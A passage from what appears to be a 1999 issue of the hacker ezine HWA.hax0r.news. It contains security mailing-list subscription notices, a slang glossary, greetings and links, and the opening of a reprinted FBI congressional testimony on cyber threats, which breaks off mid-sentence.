      to solicit security business. You do not have permission to forward
      this mail to anyone related to the domain that was defaced.
      
      enjoy.
      
      List maintainer: jericho@attrition.org
      Hosted by: majordomo@attrition.org
      
      Relevant Links: 
              Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
              ATTRITION Mirror: http://www.attrition.org/mirror/
      
         
      
    -=-     
      

    


    THE MOST READ:

    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    What is Bugtraq?

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.

    Searchable Hypermail Index;

          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html

          

    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The following comes from Bugtraq's info file:

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them.

    This list is not intended to be about cracking systems or exploiting their
    vulnerabilities. It is about defining, recognizing, and preventing use of
    security holes and risks.

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter.

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list.

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list:

    + Information on Unix related security holes/backdoors (past and present)
    + Exploit programs, scripts or detailed processes about the above
    + Patches, workarounds, fixes
    + Announcements, advisories or warnings
    + Ideas, future plans or current works dealing with Unix security
    + Information material regarding vendor contacts and procedures
    + Individual experiences in dealing with above vendors or security organizations
    + Incident advisories or informational reporting

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
    "CC" the bugtraq reflector address if the response does not meet the above criteria.

    Remember: YOYOW.

    You own your own words. This means that you are responsible for the words that you post on this list and that
    reproduction of those words without your permission in any medium outside the distribution of this list may be
     challenged by you, the author.

    For questions or comments, please mail me:
    chasin@crimelab.com (Scott Chasin)
    
    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    

      I am pleased to inform you of several changes that will be occurring
      on June 5th. I hope you find them as exciting as I do.
      
      
      BUGTRAQ moves to a new home
      ---------------------------
      
      
      First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
      to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
      below. Other than the change of domains nothing of how the list
      is run changes. I am still the moderator. We play by the same rules.
      
      
      Security Focus will be providing mail archives for BUGTRAQ. The
      archives go back longer than Netspace's and are more complete than
      Geek-Girl's.
      
      
      The move will occur one week from today. You will not need to
      resubscribe. All your information, including subscription options
      will be moved transparently.
      
      
      Any of you using mail filters (e.g. procmail) to sort incoming
      mail into mail folders by examining the From address will have to
      update them to include the new address. The new address will be:
      
      
                            BUGTRAQ@SECURITYFOCUS.COM
      
      
      Security Focus also be providing a free searchable vulnerability
      database.
      
      
      BUGTRAQ es muy bueno
      --------------------
      
      
      It has also become apparent that there is a need for forums
      in the spirit of BUGTRAQ where non-English speaking people
      or people that don't feel comfortable speaking English can
      exchange information.
      
      
      As such I've decided to give BUGTRAQ in other languages a try.
      BUGTRAQ will continue to be the place to submit vulnerability
      information, but if you feel more comfortable using some other
      language you can give the other lists a try. All relevant information
      from the other lists which have not already been covered here
      will be translated and forwarded on by the list moderator.
      
      
      In the next couple of weeks we will be introducing BUGTRAQ-JP
      (Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
      and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
      from Argentina <http://www.core-sdi.com/> (the folks that brought you
      Secure Syslog and the SSH insertion attack).
      
      
      What is Security Focus?
      -----------------------
      
      
      Security Focus is an exercise in creating a community and a security
      resource. We hope to be able to provide a medium where useful and
      successful resources such as BUGTRAQ can occur, while at the same
      time providing a comprehensive source of security information. Aside
      from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
      herself!) have moved over to Security Focus to help us with building
      this new community. The other staff at Security Focus are largely derived
      from long time supporters of Bugtraq and the community in general. If
      you are interested in viewing the staff pages, please see the 'About'
      section on www.securityfocus.com.
      
      
      On the community creating front you will find a set of forums
      and mailing lists we hope you will find useful. A number of them
      are not scheduled to start for several weeks but starting today
      the following list is available:
      
      
      * Incidents' Mailing List. BUGTRAQ has always been about the
         discussion of new vulnerabilities. As such I normally don't approve
         messages about break-ins, trojans, viruses, etc with the exception
         of wide spread cases (Melissa, ADM worm, etc). The other choice
         people are usually left with is email CERT but this fails to
         communicate this important information to other that may be
         potentially affected.
      
      
         The Incidents mailing list is a lightly moderated mailing list to
         facilitate the quick exchange of security incident information.
         Topical items include such things as information about rootkits
         new trojan horses and viruses, source of attacks and tell-tale
         signs of intrusions.
      
      
         To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
         of:
      
      
                   SUBS INCIDENTS FirstName, LastName
      
      
      Shortly we'll also be introducing an Information Warfare forum along
      with ten other forums over the next two months. These forums will be
      built and moderated by people in the community as well as vendors who
      are willing to take part in the community building process.
      *Note to the vendors here* We have several security vendors who have
      agreed to run forums where they can participate in the online communities.
      If you would like to take part as well, mail Alfred Huger,
      ahuger@securityfocus.com.
      
      
      On the information resource front you find a large database of
      the following:
      
      
      * Vulnerabilities. We are making accessible a free vulnerability
         database. You can search it by vendor, product and keyword. You
         will find detailed information on the vulnerability and how to fix it,
         as well are links to reference information such as email messages,
         advisories and web pages. You can search by vendor, product and
         keywords. The database itself is the result of culling through 5
         years of BUGTRAQ plus countless other lists and news groups. It's
         a shining example of how thorough full disclosure has made a significant
         impact on the industry over the last half decade.
      
      
      * Products. An incredible number of categorized security products
         from over two hundred different vendors.
      
      
      * Services. A large and focused directory of security services offered by
         vendors.
      
      
      * Books, Papers and Articles. A vast number of categorized security
         related books, papers and articles. Available to download directly
         for our servers when possible.
      
      
      * Tools. A large array of free security tools. Categorized and
         available for download.
      
      
      * News: A vast number of security news articles going all the way
         back to 1995.
      
      
      * Security Resources: A directory to other security resources on
         the net.
      
      
      As well as many other things such as an event calendar.
      
      
      For your convenience the home-page can be personalized to display
      only information you may be interested in. You can filter by
      categories, keywords and operating systems, as well as configure
      how much data to display.
      
      
      I'd like to thank the fine folks at NETSPACE for hosting the
      site for as long as they have. Their services have been invaluable.
      
      
      I hope you find these changes for the best and the new services
      useful. I invite you to visit http://www.securityfocus.com/ and
      check it out for yourself. If you have any comments or suggestions
      please feel free to contact me at this address or at
      aleph1@securityfocus.com.
      
      
      Cheers.
      
      
      --
      Aleph One / aleph1@underground.org
      http://underground.org/
      KeyID 1024/948FD6B5
      Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
      



    
    Crypto-Gram
    ~~~~~~~~~~~

       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
      insights, and commentaries on cryptography and computer security.

      To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
      blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
      visit http://www.counterpane.com/unsubform.html.  Back issues are available
      on http://www.counterpane.com.

       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
      Counterpane Systems, the author of "Applied Cryptography," and an inventor
      of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
      the International Association for Cryptologic Research, EPIC, and VTW.  He
      is a frequent writer and lecturer on cryptography.


    CUD Computer Underground Digest
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This info directly from their latest ish:

    Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09
     
                      ISSN  1004-042X

       Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
       News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
       Archivist: Brendan Kehoe
       Poof Reader:   Etaion Shrdlu, Jr.
       Shadow-Archivists: Dan Carosone / Paul Southworth
                          Ralph Sims / Jyrki Kuoppala
                          Ian Dickinson
       Cu Digest Homepage: http://www.soci.niu.edu/~cudigest



    [ISN] Security list
    ~~~~~~~~~~~~~~~~~~~
    This is a low volume list with lots of informative articles, if I had my
    way i'd reproduce them ALL here, well almost all .... ;-) - Ed

    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
      
      --[ New ISN announcement (New!!)
      
      
      Sender:       ISN Mailing List <ISN@SECURITYFOCUS.COM>
      From:         mea culpa <jericho@DIMENSIONAL.COM>
      Subject:      Where has ISN been?
      Comments: To: InfoSec News <isn@securityfocus.com>
      To:           ISN@SECURITYFOCUS.COM
      
      
      It all starts long ago, on a network far away..
      
      
      Not really. Several months ago the system that hosted the ISN mail list
      was taken offline. Before that occured, I was not able to retrieve the
      subscriber list. Because of that, the list has been down for a while. I
      opted to wait to get the list back rather than attempt to make everyone
      resubscribe.
      
      
      As you can see from the headers, ISN is now generously being hosted by
      Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
      machine, and listserv that runs the list now.
      
      
      Hopefully, this message will find all ISN subscribers, help us weed out
      dead addresses, and assure you the list is still here. If you have found
      the list to be valuable in the past, please tell friends and associates
      about the list. To subscribe, mail listserv@securityfocus.com with
      "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
      
      
      As usual, comments and suggestions are welcome. I apologize for the down
      time of the list. Hopefully it won't happen again. ;)
      
      
      
      mea_culpa
      www.attrition.org
      
      
      
      --[ Old ISN welcome message
      
      
      [Last updated on: Mon Nov  04  0:11:23 1998]
      
      
      InfoSec News is a privately run, medium traffic list that caters 
      to distribution of information security news articles. These 
      articles will come from newspapers, magazines, online resources, 
      and more.
      
      
      The subject line will always contain the title of the article, so that
      you may quickly and effeciently filter past the articles of no interest.
      
      
      This list will contain:
      
      
      o       Articles catering to security, hacking, firewalls, new security
              encryption, products, public hacks, hoaxes, legislation affecting
              these topics and more.
      
      
      o       Information on where to obtain articles in current magazines.
      
      
      o       Security Book reviews and information.
      
      
      o       Security conference/seminar information.
      
      
      o       New security product information.
      
      
      o       And anything else that comes to mind..
      
      
      Feedback is encouraged. The list maintainers would like to hear what
      you think of the list, what could use improving, and which parts
      are "right on". Subscribers are also encouraged to submit articles
      or URLs. If you submit an article, please send either the URL or
      the article in ASCII text. Further, subscribers are encouraged to give
      feedback on articles or stories, which may be posted to the list.
      
      
      Please do NOT:
      
      
              * subscribe vanity mail forwards to this list
      
      
              * subscribe from 'free' mail addresses (ie: juno, hotmail)
      
      
              * enable vacation messages while subscribed to mail lists
      
      
              * subscribe from any account with a small quota
      
      
      All of these generate messages to the list owner and make tracking
      down dead accounts very difficult. I am currently receiving as many 
      as fifty returned mails a day. Any of the above are grounds for
      being unsubscribed. You are welcome to resubscribe when you address
      the issue(s).
      
      
      Special thanks to the following for continued contribution:
              William Knowles, Aleph One, Will Spencer, Jay Dyson,
              Nicholas Brawn, Felix von Leitner, Phreak Moi and 
              other contributers.
      
      
      ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
      ISN Archive: http://www.landfield.com/isn
      ISN Archive: http://www.jammed.com/Lists/ISN/
      
      
      ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
          private list. Moderation of topics, member subscription, and
          everything else about the list is solely at his discretion.
      
      
      The ISN membership list is NOT available for sale or disclosure.  
      
      
      ISN is a non-profit list. Sponsors are only donating to cover bandwidth 
          and server costs. 

    



    @HWA


 00.3 THIS IS WHO WE ARE
      ~~~~~~~~~~~~~~~~~~
      
            __        ___                                      ___
            \ \      / / |__   ___   __ _ _ __ _____      ____|__ \
             \ \ /\ / /| '_ \ / _ \ / _` | '__/ _ \ \ /\ / / _ \/ /
              \ V  V / | | | | (_) | (_| | | |  __/\ V  V /  __/_|
               \_/\_/  |_| |_|\___/ \__,_|_|  \___| \_/\_/ \___(_)

 
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/programming/IRC+ man in black
      sas2@usa.net .............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black
      twisted-pair@home.com......: currently active/programming/IRC+


      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
       Qubik ............................: United Kingdom 
       D----Y ...........................: USA/world media
       HWA members ......................: World Media
       
      
      
      Past Foreign Correspondants (currently inactive or presumed dead) 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Sla5h.............................: Croatia
       N0Portz ..........................: Australia           
       system error .....................: Indonesia           
       Wile (wile coyote) ...............: Japan/the East      
       Ruffneck  ........................: Netherlands/Holland 
       Wyze1.............................: South Africa

       
       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed

      Spikeman's site is down as of this writing, if it comes back online it will be
      posted here.
      
      http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
      
      Sla5h's email: smuddo@yahoo.com
       

       *******************************************************************
       ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
       *******************************************************************

    :-p


    1. We do NOT work for the government in any shape or form.Unless you count paying
       taxes ... in which case we work for the gov't in a BIG WAY. :-/

    2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
       events its a good idea to check out issue #1 at least and possibly also the
       Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...


    @HWA



 00.4 Whats in a name? why HWA.hax0r.news??
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                             
      
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.

     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
     up  and comers, i'd highly recommend you get that book. Its almost
     like  buying a clue. Anyway..on with the show .. - Editorial staff


     @HWA

00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
                    _   ___        ___      _____ _    ___
                   | | | \ \      / / \    |  ___/ \  / _ \
                   | |_| |\ \ /\ / / _ \   | |_ / _ \| | | |
                   |  _  | \ V  V / ___ \ _|  _/ ___ \ |_| |
                   |_| |_|  \_/\_/_/   \_(_)_|/_/   \_\__\_\
                     

    Also released in issue #3. (revised) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.

    @HWA   - see EoA  ;-)

    !=     - Mathematical notation "is not equal to" or "does not equal"
             ASC(247)  "wavey equals" sign means "almost equal" to. If written
             an =/= (equals sign with a slash thru it) also means !=, =< is Equal
             to or less than and =>  is equal to or greater than (etc, this aint
             fucking grade school, cripes, don't believe I just typed all that..)

    AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)

    AOL    - A great deal of people that got ripped off for net access by a huge
             clueless isp with sekurity that you can drive buses through, we're
             not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
             least they could try leasing one??

   *CC     - 1 - Credit Card (as in phraud)
             2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's

    CCC    - Chaos Computer Club (Germany)

   *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
             ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
             watch videos and seminars, get drunk, listen to speakers, and last but
             not least, get drunk.
   *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
                 speak he's the guy that breaks into systems and is often (but by no
                 means always) a "script kiddie" see pheer
              2 . An edible biscuit usually crappy tasting without a nice dip, I like
                  jalapeno pepper dip or chives sour cream and onion, yum - Ed

    Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
              Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
              ebonics, speaking in a dark tongue ... being ereet, see pheer

    EoC    - End of Commentary

    EoA    - End of Article or more commonly @HWA

    EoF    - End of file

    EoD    - End of diatribe (AOL'ers: look it up)

    FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)

    du0d   - a small furry animal that scurries over keyboards causing people to type
             weird crap on irc, hence when someone says something stupid or off topic
             'du0d wtf are you talkin about' may be used.

   *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R

   *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
            define, I think it is best defined as pop culture's view on The Hacker ala
            movies such as well erhm "Hackers" and The Net etc... usually used by "real"
            hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
            some coffee?' or can you hax0r some bread on the way to the table please?'

            2 - A tool for cutting sheet metal.

    HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
             time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
             noun means the hackernews site proper. k? k. ;&

    HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html

    J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d

    MFI/MOI- Missing on/from IRC

    NFC   - Depends on context: No Further Comment or No Fucking Comment

    NFR   - Network Flight Recorder (Do a websearch) see 0wn3d

    NFW   - No fuckin'way

   *0WN3D - You are cracked and owned by an elite entity see pheer
   *OFCS  - Oh for christ's sakes

    PHACV - And variations of same <coff>
            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare

          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus
                      W - Warfare <cyberwarfare usually as in Jihad>
                      A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
                      P - Phreaking, "telephone hacking" PHone fREAKs ...
                     CT - Cyber Terrorism

   *PHEER -  This is what you do when an ereet or elite person is in your presence
            see 0wn3d

   *RTFM  - Read the fucking manual - not always applicable since some manuals are
            pure shit but if the answer you seek is indeed in the manual then you
            should have RTFM you dumb ass.

    TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0

    TBA   - To Be Arranged/To Be Announced also 2ba

    TFS   - Tough fucking shit.

   *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
            from the underground masses. also "w00ten" <sic>

            2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)

    *wtf  - what the fuck, where the fuck, when the fuck etc ..

    *ZEN  - The state you reach when you *think* you know everything (but really don't)
            usually shortly after reaching the ZEN like state something will break that
            you just 'fixed' or tweaked.
            
     @HWA            
     
     
                            -=-    :.    .:        -=-
                            
                            
                            

 01.0 Greets!?!?! yeah greets! w0w huh. - Ed
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
                           ____               _
                          / ___|_ __ ___  ___| |_ ___
                         | |  _| '__/ _ \/ _ \ __/ __|
                         | |_| | | |  __/  __/ |_\__ \
                          \____|_|  \___|\___|\__|___/


     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in
     your thoughts anyway.


       * all the people who sent in cool emails and support
       
     FProphet       Pyra                TwstdPair      _NeM_
     D----Y         Dicentra            vexxation      sAs72
     Spikeman       p0lix               Vortexia      Wyze1
     Pneuma         Raven               Zym0t1c       duro
     Repluzer       astral              BHZ           ScrewUp
     Qubik          gov-boi             _Jeezus_      Haze_
     thedeuce       ytcracker
     
     Folks from #hwa.hax0r,news and #fawkerz, #ninjachat and #sesame 
     
     
               
     Ken Williams/tattooman ex-of PacketStorm,
          
     & Kevin Mitnick                      
     
     kewl sites:
     
     + http://www.hack.co.za  NEW
     + http://blacksun.box.sk. NEW
     + http://packetstorm.securify.com/ NEW
     + http://www.securityportal.com/ NEW
     + http://www.securityfocus.com/ NEW
     + http://www.hackcanada.com/
     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://www.freekevin.com/
     + http://www.genocide2600.com/
     + http://www.hackernews.com/ (Went online same time we started issue 1!)
     + http://www.net-security.org/
     + http://www.slashdot.org/
     + http://www.freshmeat.net/
     + http://www.403-security.org/
     + http://ech0.cjb.net/

     @HWA


 01.1 Last minute stuff, rumours and newsbytes
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       "What is popular isn't always right, and what is right isn't
         always popular..."
                           - FProphet '99
                           
       

    +++ When was the last time you backed up your important data?
    
     
 
          
     
      Thanks to myself for providing the info from my wired news feed and others from whatever
      sources, also to Spikeman for sending in past entries.... - Ed
      
     @HWA

 01.2 MAILBAG - email and posts from the message board worthy of a read
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
              
      Yeah we have a message board, feel free to use it, remember there are no stupid questions...
      well there are but if you ask something really dumb we'll just laugh at ya, lets give the
      message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
      domain comes back online (soon) meanwhile the beseen board is still up...
        
      
    
      ==============================================================================
      
      
      
      
      

      

 02.0 From the editor.
      ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <thoughts.h>
         #include <backup.h>

     main()
         {
           printf ("Read commented source!\n\n");

     /*
           * 
          * 
          * 
          * 
          * 
          * 
          * 
          * 
          */
           
     printf ("EoF.\n");
           }

      

      Congrats, thanks, articles, news submissions and kudos to us at the
         
      main address: hwa@press.usmc.net complaints and all nastygrams and
         
      mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
         
      127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.
     
     -= start =--= start =--= start =--= start =--= start =--= start =--= start 
   
     
                       ____            _             _
                      / ___|___  _ __ | |_ ___ _ __ | |_
                     | |   / _ \| '_ \| __/ _ \ '_ \| __|
                     | |__| (_) | | | | ||  __/ | | | |_
                      \____\___/|_| |_|\__\___|_| |_|\__|
                           / ___|| |_ __ _ _ __| |_
                           \___ \| __/ _` | '__| __|
                            ___) | || (_| | |  | |_
                           |____/ \__\__,_|_|   \__|

             
     
                            
      -= start =--= start =--= start =--= start =--= start =--= start =--= 
                         
     
     
     
     
03.0  Solar Sunrise: The FBI operation
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
      HNN reported that a new video was released by the FBI called "Solar 
      Sunrise: The dawn of a new threat" about hackers and their perceived 
      threat to commercial (and gov) systems. While I was searching the 
      FBI website for info on this I came up with a link to an operation 
      Solar Sunrise, where the FBI had been investigating the attacks and 
      break-ins of govt systems. Below is the full text of the report.
      
      http://www.fbi.gov/pressrm/congress/nipc10-6.htm
      
      Introduction

      Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you 
      for inviting me here today to discuss critical infrastructure protection 
      issues. Mr. Chairman, you and this committee have been leaders in 
      recognizing the importance of these issues and the urgency of addressing 
      the new threats to our national security in the Information Age, and I 
      welcome this opportunity to share our perspectives with you today. As you 
      know, the Federal Government is developing its capabilities for dealing 
      with threats to our nation's infrastructures. Presidential Decision 
      Directive-63 set in motion an unprecedented effort to protect our 
      nation's critical infrastructures, which the PDD defined as "those 
      physical and cyber-based systems essential to the minimum operations of 
      the economy and government." Critical infrastructures include 
      telecommunications, energy, banking and finance, transportation, water 
      systems, and emergency services, both public and private. The PDD 
      formally designated the National Infrastructure Protection Center (NIPC) 
      to have a central operational role in the government's effort. The Center 
      works closely with the National Coordinator for Security, Infrastructure 
      Protection, and Counter-terrorism; the Department of Defense (DoD); the 
      U.S. Intelligence Community (USIC); other federal agencies; and the 
      private sector to protect our critical infrastructures. My statement will 
      cover the spectrum of threats we are facing and the status of the NIPC 
      and its activities.

      Spectrum of Threats

      The news media is filled with examples of intrusions into government and 
      private sector computer networks. Politically motivated hackers have been 
      attacking numerous U.S. Government websites, including the Senate's. 
      Deputy Secretary of Defense John
           Hamre reported in February that DoD 
      is "detecting 80 to 100 [potential hacking] events daily." We have had 
      several damaging computer viruses this year, including the Melissa Macro 
      Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer 
      Economics, Inc., a California firm, estimates that damage in the first 
      two quarters of 1999 from viruses has topped $7 billion. The FBI's case 
      load for computer hacking and network intrusion cases has doubled each of 
      the last two years. Currently we have over 800 pending investigations. In 
      its 1999 survey, the Computer Security Institute estimated the total 
      financial losses by the 163 businesses it surveyed from computer security 
      breaches at $123.7 million. This includes everything from theft of 
      proprietary data to denial of service on networks. E-commerce has become 
      so important that firms, including Sedgwick Group PLC (in cooperation 
      with IBM), Lloyds of London, and Network Risk Management Services, are 
      now offering "hacker insurance."

      Sensitive Intrusions

      In the past few years we have seen a series of intrusions into numerous 
      Department of Defense computer networks as well as networks of other 
      federal agencies, universities, and private sector entities. Intruders 
      have successfully accessed U.S. Government
           networks and took large 
      amounts of unclassified but sensitive information. In investigating these 
      cases, the NIPC has been coordinating with FBI Field Offices, the 
      Department of Defense, and other government agencies, as circumstances 
      require. But it is important that the Congress and the American public 
      understand the very real threat that we are facing in the cyber realm, 
      not just in the future, but now.

      Information Warfare

      Perhaps the greatest potential threat to our national security is the 
      prospect of "information warfare" by foreign militaries against our 
      critical infrastructures. We know that several foreign nations are 
      already developing information warfare doctrine, programs, and
           
      capabilities for use against each other and the United States or other 
      nations. Foreign nations are developing information warfare programs 
      because they see that they cannot defeat the United States in a 
      head-to-head military encounter and they believe that information 
      operations are a way to strike at what they perceive as America's 
      Achilles Heel -- our reliance on information technology to control 
      critical government and private sector systems. For example, two Chinese 
      military officers recently published a book that called for the use of 
      unconventional measures, including the propagation of computer viruses, 
      to counterbalance the military power of the United States. In addition, 
      during the recent conflict in Yugoslavia, hackers sympathetic to Serbia 
      electronically "ping" attacked NATO web servers. And Russian as well as 
      other individuals supporting the Serbs attacked websites in NATO 
      countries, including the United States, using virus-infected e-mail and 
      hacking attempts. Over 100 entities in the United States received these 
      e-mails. Several British organizations lost files and databases. These 
      attacks did not cause any disruption of the military effort, and the 
      attacked entities quickly recovered. But such attacks are portents of 
      much more serious attacks that we can expect foreign adversaries to 
      attempt in future conflicts.

      Foreign intelligence services

      Foreign intelligence services have adapted to using cyber tools as part 
      of their information gathering and espionage tradecraft. In a case dubbed 
      "the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers 
      penetrated numerous military,
           scientific, and industry computers in 
      the United States, Western Europe, and Japan, stealing passwords, 
      programs, and other information which they sold to the Soviet KGB. 
      Significantly, this was over a decade ago -- ancient history in Internet 
      years. While I cannot go into specifics about the situation today in an 
      open hearing, it is clear that foreign intelligence services increasingly 
      view computer intrusions as a useful tool for acquiring sensitive U.S. 
      government and private sector information.

      Terrorists

      Terrorists are known to use information technology and the Internet to 
      formulate plans, raise funds, spread propaganda, and to communicate 
      securely. For example, convicted terrorist Ramzi Yousef, the mastermind 
      of the World Trade Center bombing, stored
           detailed plans to destroy 
      United States airliners on encrypted files on his laptop computer. 
      Moreover, some groups have already used cyber attacks to inflict damage 
      on their enemies' information systems. For example, a group calling 
      itself the Internet Black Tigers conducted a successful "denial of 
      service" attack on servers of Sri Lankan government embassies. Italian 
      sympathizers of the Mexican Zapatista rebels attacked web pages of 
      Mexican financial institutions. And a Canadian government report 
      indicates that the Irish Republican Army has considered the use of 
      information operations against British interests. We are also concerned 
      that Aum Shinrikyo, which launched the deadly Sarin gas attack in the 
      Tokyo subway system, could use its growing expertise in computer 
      manufacturing and Internet technology to develop "cyber terrorism" 
      weapons for use against Japanese and U.S. interests. Thus while we have 
      yet to see a significant instance of "cyber terrorism" with widespread 
      disruption of critical infrastructures, all of these facts portend the use 
      of cyber attacks by terrorists to cause pain to targeted governments or 
      civilian populations by disrupting critical systems.

      Criminal Groups

      We are also beginning to see the increased use of cyber intrusions by 
      criminal groups who attack systems for purposes of monetary gain. For 
      example, in 1994 the U.S. Secret Service uncovered a $50 million phone 
      card scam that abused the accounts of
           AT&T, MCI, and Sprint 
      customers. In addition, in 1994-95 an organized crime group headquartered 
      in St. Petersburg, Russia, transferred $10.4 million from Citibank into 
      accounts all over the world. After surveillance and investigation by the 
      FBI's New York field office, all but $400,000 of the funds were recovered. 
      In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to 
      several Internet Service Providers in California and stole 100,000 credit 
      card numbers with a combined limit of over $1 billion. The FBI arrested 
      him in the San Francisco International Airport when he tried to sell the 
      credit card numbers to a cooperating witness for $260,000. With the 
      expansion of electronic commerce, we expect to see an increase in hacking 
      by organized crime as the new frontier for large-scale theft.

      Just two weeks ago, two members of a group dubbed the "Phonemasters" were 
      sentenced after their conviction for theft and possession of unauthorized 
      access devices (18 USC §1029) and unauthorized access to a federal 
      interest computer (18 USC §1030).
           The "Phonemasters" are an 
      international group of criminals who penetrated the computer systems of 
      MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information 
      Center (NCIC). Under judicially approved electronic surveillance orders, 
      the FBI's Dallas Field Office made use of new data intercept technology to 
      monitor the calling activity and modem pulses of one of the suspects, 
      Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card 
      numbers, which he sold to a Canadian individual, who passed them on to 
      someone in Ohio. These numbers made their way to an individual in 
